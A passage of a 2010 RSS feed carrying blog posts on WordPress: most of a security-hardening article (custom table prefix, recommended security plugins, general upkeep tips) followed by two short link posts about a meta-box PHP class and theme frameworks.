<h4 id="database-protection">[<a href="http://feedproxy.google.com/~r/DiggingIntoWordPress/~3/XGKoQdcj9R0/#security-lockdown" title="Jump to Menu">3</a>] Database Protection</h4>
<p>Changing the default table prefix is one of the <em>best</em> ways to protect your database. Malicious scripts need targets, and default targets are easy to hit. Change <code>wp_</code> to something more like a password. Some <a href="http://www.random.org/strings/" title="Random String Generator">random string</a> like &ldquo;<code>crUQZPadESeKSy8Q_</code>&rdquo; will make your tables difficult to hit. Like having a built-in password for your database&nbsp;:)</p>
<p>There are two ways to change your prefixes: the easy way and the hard way. The easy way is to add the following line to your <code>wp-config.php</code> file <em>before</em> installing WordPress (important: change the random string to something unique):</p>
<pre><code>$table_prefix  = 'crUQZPadESeKSy8Q_'; // custom table prefix</code></pre>
<p>Do that <em>before</em> running the install script and WordPress takes care of the prefix naming automagically when it creates the database. Going forward, there is no reason not to change default prefixes for all future WordPress installs. For existing sites, you can do it the hard way <a href="http://blogsecurity.net/wordpress/wp-prefix-changer-v11-released" title="WP Prefix Changer v1.1 released">using a plugin</a> or <a href="http://tdot-blog.com/wordpress/6-simple-steps-to-change-your-table-prefix-in-wordpress" title="6 Simple Steps to Change Your Table Prefix in WordPress">doing it manually</a>.</p>
<h4 id="essential-plugins">[<a href="http://feedproxy.google.com/~r/DiggingIntoWordPress/~3/XGKoQdcj9R0/#security-lockdown" title="Jump to Menu">4</a>] Essential Plugins</h4>
<p>After exploring the vast crop of <a href="http://wordpress.org/extend/plugins/tags/security" title="WordPress<br />
Plugin Directory&#8221;>WordPress security plugins</a>, we narrowed it down to four plugins that collectively do just about everything in the easiest way possible:</p>
<p><strong><a href="http://mattwalters.net/projects/wordpress-file-monitor/">WP File Monitor</a></strong></p>
<p>This plugin tracks changes made to your files. If/when anything changes, it notifies you via Admin Dashboard alert and/or email alert. So anytime a file is changed, moved, added, or removed, WP File Monitor lets you know. Here is a list of features:</p>
<ul>
<li>Monitors file system for added/deleted/changed files</li>
<li>Sends email when a change is detected</li>
<li>Multiple email formats for alerts</li>
<li>Administration area alert to notify you of changes in case email is not received</li>
<li>Ability to monitor files for changes based on file hash or timestamp</li>
<li>Ability to exclude directories from scan</li>
<li>Site URL included in notification email in case plugin is in use on multiple sites</li>
</ul>
<p>This is one of my favorite plugins. It&rsquo;s perfect for keeping an eye on things. If anyone gets in and messes around with your files, you&rsquo;ll know about it immediately, and even better, you&rsquo;ll know <em>exactly</em> which files have been affected.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/wp-security-scan/">WP Security Scan</a></strong></p>
<p>This plugin scans your WordPress installation for security vulnerabilities and suggests corrective actions. The scan report informs you of any problems with file permissions, system variables, and much more:</p>
<ul>
<li>Passwords</li>
<li>File permissions</li>
<li>Database security</li>
<li>Version hiding</li>
<li>WordPress admin protection/security</li>
<li>Removes WP Generator META tag from core code</li>
</ul>
<p>WP Security Scan also provides a nice summary of server information and latest scan information. Performing a new scan is immediate with the click of a button. Very easy.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/ultimate-security-check/">Ultimate Security Check</a></strong></p>
<p>This plugin provides even more security information, helping you to identify potential issues with your WordPress installation. It scans your site for &ldquo;hundreds of known threats,&rdquo; and then &ldquo;grades&rdquo; your level of site security. Here are some of the key things it checks:</p>
<ul>
<li>Checks for updates</li>
<li>Checks configuration file</li>
<li>Checks if config file is located in unsecured place</li>
<li>Checks presence of install script</li>
<li>Checks server configuration</li>
<li>Checks database</li>
<li>Checks code</li>
</ul>
<p>And quite a bit more. The best part about Ultimate Security Check is that it&rsquo;s so <em>easy</em> to use.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/secure-wordpress/">Secure WordPress</a></strong></p>
<p>This plugin takes care of all those &ldquo;little&rdquo; things. Instead of installing a bunch of smaller plugins or <a href="http://digwp.com/2010/03/wordpress-functions-php-template-custom-functions/" title="WordPress functions.php Template with 15 Essential Custom Functions">custom functions</a> for this stuff, the Secure WordPress plugin does it all for you:</p>
<ol>
<li>Removes error-information on login-page</li>
<li>Adds index.php plugin-directory (virtual)</li>
<li>Removes the wp-version, except in admin-area</li>
<li>Removes Really Simple Discovery</li>
<li>Removes Windows Live Writer</li>
<li>Remove core update information for non-admins</li>
<li>Remove plugin-update information for non-admins</li>
<li>Remove theme-update information for non-admins (only WP 2.8 and higher)</li>
<li>Hide wp-version in backend-dashboard for non-admins</li>
<li><a href="http://perishablepress.com/press/2009/12/22/protect-wordpress-against-malicious-url-requests/" title="Protect WordPress Against Malicious URL Requests">Block Bad Queries</a></li>
</ol>
<p>Having all of this (and much more) done with a few clicks in the WordPress Admin is easy <em>and</em> effective.</p>
<h4 id="security-details">[<a href="http://feedproxy.google.com/~r/DiggingIntoWordPress/~3/XGKoQdcj9R0/#security-lockdown" title="Jump to Menu">5</a>] Important Details</h4>
<p>The previous four steps comprise the majority of our security lockdown, but there are some important details to consider:</p>
<ul>
<li>Keep your WordPress install, plugins, themes, and scripts updated with current versions</li>
<li>Use <strong>strong</strong> passwords and change them often</li>
<li>Disable user registration if not needed/used for your site</li>
<li>Check roles and permissions for all users</li>
<li>Clean up and consolidate old/loose files</li>
<li>Remove unused plugins and themes</li>
<li>Check permissions of <code>upload</code>, <code>upgrade</code>, and <code>backup</code> directories</li>
<li>Keep a backup of your site files</li>
<li>Keep your database optimized and backed up</li>
</ul>
<p>We did these things here at DigWP.com, but certain tips may not apply to every site. As a side note, despite our new security lockdown, I am still concerned/confused about how to handle the <code>upload</code>, <code>upgrade</code>, and <code>backup</code> directories. It seems dangerous to leave these folders set with <code>777</code> permissions, and for many shared hosts, that seems to be the required setting. I would be interested in hearing any ideas about securing these directories.</p>
<h3>Bottom Line</h3>
<p>There is no such thing as perfect security. If someone wants in bad enough, they&rsquo;re going to find a way, despite your best efforts at staying secure. Fortunately, most malicious scripts target the least common denominator, default WordPress installs. At the very least, ensure proper file permissions, secure <code>wp-config.php</code>, and use unique database prefixes. Together, these three steps will put your site out of reach for a vast majority of malicious scripts and other automated attacks. Of course, there are many other ways to <a href="http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/" title="How to Secure Your New WordPress Installation">strengthen your site&rsquo;s security</a>, depending on how far you want to go with it. The lockdown strategy presented in this article provides strong security in the most efficient way possible, but there is always room for improvement, so share your ideas and help the community secure their WordPress.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/wordpress-security-lockdown/">Permalink</a> | <a href="http://digwp.com/2010/07/wordpress-security-lockdown/#comments">43 comments</a> | Add to<br />
<a href="http://del.icio.us/post?url=http://digwp.com/2010/07/wordpress-security-lockdown/&#038;title=WordPress%20Security&nbsp;Lockdown">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/plugin/" rel="tag">plugin</a></small></p>
<p><img src="http://feeds.feedburner.com/~r/DiggingIntoWordPress/~4/XGKoQdcj9R0" height="1" width="1"/></p>
]]></content:encoded>
			<wfw:commentRss>http://wordpress.freebytes.eu/2010/07/12/wordpress-security%c2%a0lockdown/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WPAlchemy MetaBox PHP Class</title>
		<link>http://wordpress.freebytes.eu/2010/07/12/wpalchemy-metabox-php%c2%a0class/</link>
		<comments>http://wordpress.freebytes.eu/2010/07/12/wpalchemy-metabox-php%c2%a0class/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 19:37:32 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Wordpress Tips]]></category>
		<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2535</guid>
		<description><![CDATA[This looks awesome: &#8220;The WPAlchemy MetaBox PHP Class can be used to create WordPress meta boxes quickly. It will give you the flexibility you need as a developer, allowing you to quickly build custom meta boxes for your themes and plugins.&#8221; Direct Link to Article &#8212; Permalink on DiWLike the article? Get the book! © [...]]]></description>
			<content:encoded><![CDATA[<p>This looks awesome: &ldquo;The WPAlchemy MetaBox PHP Class can be used to create WordPress meta boxes quickly. It will give you the flexibility you need as a developer, allowing you to quickly build custom meta boxes for your themes and plugins.&rdquo;</p>
<p><small><a href="http://farinspace.com/wpalchemy-metabox/" title="Direct link to featured article">Direct Link to Article</a> &#8212; <a href="http://digwp.com/2010/07/wpalchemy-metabox-php-class/" title="Permalink to post on DiW">Permalink on DiW</a></small></p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/wpalchemy-metabox-php-class/">Permalink</a> | <a href="http://digwp.com/2010/07/wpalchemy-metabox-php-class/#comments">Comments</a> | Add to<br />
<a href="http://del.icio.us/post?url=http://digwp.com/2010/07/wpalchemy-metabox-php-class/&#038;title=WPAlchemy%20MetaBox%20PHP&nbsp;Class">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/links/" title="View all posts in Links" rel="category tag">Links</a> | Tagged: </small></p>
<p><img src="http://feeds.feedburner.com/~r/DiggingIntoWordPress/~4/YlV2oM82sIw" height="1" width="1"/></p>
]]></content:encoded>
			<wfw:commentRss>http://wordpress.freebytes.eu/2010/07/12/wpalchemy-metabox-php%c2%a0class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>(Meta) Conversation on Frameworks</title>
		<link>http://wordpress.freebytes.eu/2010/07/12/meta-conversation-on%c2%a0frameworks/</link>
		<comments>http://wordpress.freebytes.eu/2010/07/12/meta-conversation-on%c2%a0frameworks/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 18:50:56 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Wordpress Tips]]></category>
		<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2491</guid>
		<description><![CDATA[The discussion starter post last week about WordPress theme frameworks worked nicely. I really enjoyed the comment thread that took place so I thought I&#8217;d point it back out to people who may have missed that or didn&#8217;t see it fully developed. Specific thanks to Justin Tadlock and Nathan Rice for sharing their thoughts as [...]]]></description>
			<content:encoded><![CDATA[<p>The discussion starter post last week about WordPress theme frameworks worked nicely. I really enjoyed the comment thread that took place so I thought I&#8217;d point it back out to people who may have missed that or didn&#8217;t see it fully developed. Specific thanks to <a href="http://digwp.com/2010/07/the-frameworks-discussion/#comment-6273">Justin Tadlock</a> and <a href="http://digwp.com/2010/07/the-frameworks-discussion/#comment-6369">Nathan Rice</a> for sharing their thoughts as authors of popular frameworks.</p>
<p><small><a href="http://digwp.com/2010/07/the-frameworks-discussion/#comments" title="Direct link to featured article">Direct Link to Article</a> &#8212; <a href="http://digwp.com/2010/07/meta-conversation-on-frameworks/" title="Permalink to post on DiW">Permalink on DiW</a></small></p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/meta-conversation-on-frameworks/">Permalink</a> | <a href="http://digwp.com/2010/07/meta-conversation-on-frameworks/#comments">Comments</a> | Add to<br />
<a href="http://del.icio.us/post?url=http://digwp.com/2010/07/meta-conversation-on-frameworks/&#038;title=(Meta)%20Conversation%20on&nbsp;Frameworks">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/links/" title="View all posts in Links" rel="category tag">Links</a> | Tagged: </small></p>
<p><img src="http://feeds.feedburner.com/~r/DiggingIntoWordPress/~4/PFYa-2VUW4E" height="1" width="1"/></p>
]]></content:encoded>
			<wfw:commentRss>http://wordpress.freebytes.eu/2010/07/12/meta-conversation-on%c2%a0frameworks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
